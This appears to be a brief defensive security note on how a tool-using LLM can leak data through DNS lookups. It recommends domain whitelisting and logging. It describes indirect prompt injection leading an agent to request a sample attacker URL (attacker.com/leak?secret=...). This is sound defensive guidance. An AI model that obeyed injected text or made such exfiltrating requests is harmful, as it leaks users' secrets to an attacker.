[gotcha] LLM exfiltrating data via DNS lookups from tool execution

Restrict LLM tool network access to whitelisted domains. Monitor and log all tool invocations. Do not allow arbitrary URL resolution or DNS lookups from LLM-generated arguments.

Journey Context:
If an LLM has a tool that makes HTTP requests or resolves DNS, an indirect injection can force it to make a request to \`https://attacker.com/leak?secret=XYZ\`. Even if the HTTP response is blocked, the DNS resolution itself leaks the data. Developers forget that tool execution happens in a traditional network context, not a sandboxed LLM context.
